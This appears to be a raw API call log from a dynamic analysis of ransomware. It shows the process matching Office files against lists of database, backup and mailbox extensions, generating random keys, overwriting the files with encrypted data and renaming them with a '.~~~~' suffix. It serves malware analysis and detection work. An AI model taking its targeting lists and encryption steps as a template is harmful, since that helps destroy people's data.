	[0135.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".DBT") returned 0x0
	[0135.859] lstrlenW (lpString=".ACCDB") returned 6
	[0135.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".ACCDB") returned 0x0
	[0135.859] lstrlenW (lpString=".fdb") returned 4
	[0135.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".fdb") returned 0x0
	[0135.859] lstrlenW (lpString=".bak") returned 4
	[0135.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".bak") returned 0x0
	[0135.860] lstrlenW (lpString=".myd") returned 4
	[0135.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".myd") returned 0x0
	[0135.860] lstrlenW (lpString=".DTXS") returned 5
	[0135.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".DTXS") returned 0x0
	[0135.860] lstrlenW (lpString=".ckp") returned 4
	[0135.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".ckp") returned 0x0
	[0135.860] lstrlenW (lpString=".dbt") returned 4
	[0135.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".dbt") returned 0x0
	[0135.860] lstrlenW (lpString=".db") returned 3
	[0135.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".db") returned 0x0
	[0135.860] lstrlenW (lpString=".TXT") returned 4
	[0135.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".TXT") returned 0x0
	[0135.860] lstrlenW (lpString=".MDF") returned 4
	[0135.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".MDF") returned 0x0
	[0135.860] lstrlenW (lpString=".bdb") returned 4
	[0135.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".bdb") returned 0x0
	[0135.860] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0135.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.860] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0620) returned 1
	[0135.862] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.862] CryptReleaseContext (hProv=0x3a0620, dwFlags=0x0) returned 1
	[0135.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0135.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0135.862] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25585206074) returned 1
	[0135.862] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xba6c0750, dwHighDateTime=0x1d60e1e)) 
	[0135.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0135.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0135.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0135.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4708
	[0135.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4708 | out: hHeap=0x300000) returned 1
	[0135.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5838
	[0135.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.863] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0135.863] GetLastError () returned 0x0
	[0135.863] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0135.863] GetLastError () returned 0x0
	[0135.866] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff2060, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.866] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xdfa0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0xdfa0, lpOverlapped=0x0) returned 1
	[0135.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0135.867] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.867] WriteFile (in: hFile=0xc4, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.867] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.867] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.867] CloseHandle (hObject=0xc4) returned 1
	[0135.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5838
	[0135.868] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl.~~~~")) returned 1
	[0135.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c5838 | out: hHeap=0x300000) returned 1
	[0135.871] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0135.871] GetLastError () returned 0x0
	[0135.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".scr") returned 0x0
	[0135.871] lstrlenW (lpString=".cmd") returned 4
	[0135.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0135.871] lstrlenW (lpString=".dll") returned 4
	[0135.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".dll") returned 0x0
	[0135.871] lstrlenW (lpString=".bat") returned 4
	[0135.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".bat") returned 0x0
	[0135.871] lstrlenW (lpString=".cpl") returned 4
	[0135.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0135.871] lstrlenW (lpString=".sys") returned 4
	[0135.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".sys") returned 0x0
	[0135.871] lstrlenW (lpString=".msc") returned 4
	[0135.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".msc") returned 0x0
	[0135.871] lstrlenW (lpString=".com") returned 4
	[0135.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".com") returned 0x0
	[0135.871] lstrlenW (lpString=".lnk") returned 4
	[0135.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0135.871] lstrlenW (lpString=".msp") returned 4
	[0135.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".msp") returned 0x0
	[0135.871] lstrlenW (lpString=".pif") returned 4
	[0135.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".pif") returned 0x0
	[0135.872] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0135.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0135.874] lstrlenW (lpString=".sqb") returned 4
	[0135.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0135.874] lstrlenW (lpString=".ost") returned 4
	[0135.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".ost") returned 0x0
	[0135.874] lstrlenW (lpString=".txt") returned 4
	[0135.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".txt") returned 0x0
	[0135.874] lstrlenW (lpString=".mdt") returned 4
	[0135.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0135.874] lstrlenW (lpString=".BDB") returned 4
	[0135.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0135.874] lstrlenW (lpString=".eql") returned 4
	[0135.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".eql") returned 0x0
	[0135.874] lstrlenW (lpString=".DBF") returned 4
	[0135.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0135.874] lstrlenW (lpString=".EQL") returned 4
	[0135.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0135.874] lstrlenW (lpString=".FDB") returned 4
	[0135.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0135.875] lstrlenW (lpString=".EDB") returned 4
	[0135.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0135.875] lstrlenW (lpString=".DACPAC") returned 7
	[0135.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0135.875] lstrlenW (lpString=".VHD") returned 4
	[0135.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0135.875] lstrlenW (lpString=".DBV") returned 4
	[0135.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0135.875] lstrlenW (lpString=".dacpac") returned 7
	[0135.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0135.875] lstrlenW (lpString=".sdf") returned 4
	[0135.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0135.875] lstrlenW (lpString=".accdb") returned 6
	[0135.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0135.875] lstrlenW (lpString=".DBX") returned 4
	[0135.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0135.875] lstrlenW (lpString=".MDT") returned 4
	[0135.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0135.875] lstrlenW (lpString=".SQB") returned 4
	[0135.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0135.875] lstrlenW (lpString=".vhd") returned 4
	[0135.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0135.875] lstrlenW (lpString=".bac") returned 4
	[0135.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".bac") returned 0x0
	[0135.875] lstrlenW (lpString=".mdf") returned 4
	[0135.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0135.876] lstrlenW (lpString=".BAK") returned 4
	[0135.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0135.876] lstrlenW (lpString=".BAC") returned 4
	[0135.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0135.876] lstrlenW (lpString=".dbs") returned 4
	[0135.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0135.876] lstrlenW (lpString=".vhdx") returned 5
	[0135.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0135.876] lstrlenW (lpString=".NDF") returned 4
	[0135.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0135.876] lstrlenW (lpString=".dat") returned 4
	[0135.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".dat") returned 0x0
	[0135.876] lstrlenW (lpString=".DBS") returned 4
	[0135.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0135.876] lstrlenW (lpString=".CKP") returned 4
	[0135.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0135.876] lstrlenW (lpString=".edb") returned 4
	[0135.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".edb") returned 0x0
	[0135.876] lstrlenW (lpString=".PST") returned 4
	[0135.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".PST") returned 0x0
	[0135.877] lstrlenW (lpString=".dbf") returned 4
	[0135.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0135.877] lstrlenW (lpString=".SQL") returned 4
	[0135.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0135.877] lstrlenW (lpString=".pst") returned 4
	[0135.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".pst") returned 0x0
	[0135.877] lstrlenW (lpString=".dbv") returned 4
	[0135.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0135.877] lstrlenW (lpString=".SDF") returned 4
	[0135.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0135.877] lstrlenW (lpString=".dtxs") returned 5
	[0135.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0135.877] lstrlenW (lpString=".db3") returned 4
	[0135.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".db3") returned 0x0
	[0135.877] lstrlenW (lpString=".OST") returned 4
	[0135.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".OST") returned 0x0
	[0135.877] lstrlenW (lpString=".dbx") returned 4
	[0135.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0135.877] lstrlenW (lpString=".DB3") returned 4
	[0135.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0135.877] lstrlenW (lpString=".DAT") returned 4
	[0135.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0135.877] lstrlenW (lpString=".VHDX") returned 5
	[0135.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0135.877] lstrlenW (lpString=".ndf") returned 4
	[0135.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0135.877] lstrlenW (lpString=".DB") returned 3
	[0135.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".DB") returned 0x0
	[0135.877] lstrlenW (lpString=".sql") returned 4
	[0135.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".sql") returned 0x0
	[0135.877] lstrlenW (lpString=".MYD") returned 4
	[0135.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0135.877] lstrlenW (lpString=".DBT") returned 4
	[0135.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0135.878] lstrlenW (lpString=".ACCDB") returned 6
	[0135.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0135.878] lstrlenW (lpString=".fdb") returned 4
	[0135.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0135.878] lstrlenW (lpString=".bak") returned 4
	[0135.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".bak") returned 0x0
	[0135.878] lstrlenW (lpString=".myd") returned 4
	[0135.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".myd") returned 0x0
	[0135.878] lstrlenW (lpString=".DTXS") returned 5
	[0135.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0135.878] lstrlenW (lpString=".ckp") returned 4
	[0135.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0135.878] lstrlenW (lpString=".dbt") returned 4
	[0135.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0135.878] lstrlenW (lpString=".db") returned 3
	[0135.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".db") returned 0x0
	[0135.878] lstrlenW (lpString=".TXT") returned 4
	[0135.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0135.878] lstrlenW (lpString=".MDF") returned 4
	[0135.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0135.878] lstrlenW (lpString=".bdb") returned 4
	[0135.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0135.878] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0135.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.879] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0620) returned 1
	[0135.879] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.879] CryptReleaseContext (hProv=0x3a0620, dwFlags=0x0) returned 1
	[0135.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0135.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0135.880] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25586978317) returned 1
	[0135.880] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xba6e68b0, dwHighDateTime=0x1d60e1e)) 
	[0135.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0135.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0135.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0135.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825208
	[0135.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825208 | out: hHeap=0x300000) returned 1
	[0135.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdd98
